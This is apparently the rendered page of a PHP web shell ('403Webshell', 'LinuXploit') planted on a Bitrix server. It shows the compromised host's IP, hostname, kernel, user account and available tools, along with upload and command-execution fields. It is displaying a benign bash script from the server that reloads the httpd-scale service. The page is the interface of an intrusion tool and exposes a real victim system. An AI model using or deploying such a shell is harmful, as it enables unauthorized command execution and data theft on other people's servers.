403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /opt/webdir/bin/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /opt/webdir/bin/restart_httpd-scale.sh
#!/usr/bin/bash
#
export LANG=en_US.UTF-8
export TERM=linux
export NOLOCALE=yes

BASE_DIR=/opt/webdir
LOGS_DIR=$BASE_DIR/logs
TEMP_DIR=$BASE_DIR/temp
CACHE_DIR=$BASE_DIR/tmp
BIN_DIR=$BASE_DIR/bin
bx_process_script=$BIN_DIR/bx-process

# get_text variables
[[ -f $BIN_DIR/bitrix_utils.sh ]] && \
    . $BIN_DIR/bitrix_utils.sh

[[ ! -d $CACHE_DIR  ]] && mkdir -m 700 $CACHE_DIR

LOGS_FILE=$LOGS_DIR/restart_httpd-scale.log
REQUEST_FILE=$LOGS_DIR/restart_httpd-scale.request

TYPE=${1:-request}

if [[ $TYPE == "request" ]]; then
    touch $REQUEST_FILE
    print_log "Create $REQUEST_FILE file" $LOGS_FILE
    exit 0
elif [[ $TYPE == "process" ]]; then
    if [[ -f $REQUEST_FILE ]]; then
        is_ansible_running
        if  [[ $? -eq 0 ]]; then
            print_log "Reload httpd-scale service" $LOGS_FILE
            systemctl reload httpd-scale >> $LOGS_FILE 2>&1
            rm -f $REQUEST_FILE
        else
            print_log "Found $IS_ANSIBLE_PROCESS ansible-playbooks. Exit"
        fi
    fi
else
     print_log "Incorrect option=$TYPE"
fi

Youez - 2016 - github.com/yon3zu
LinuXploit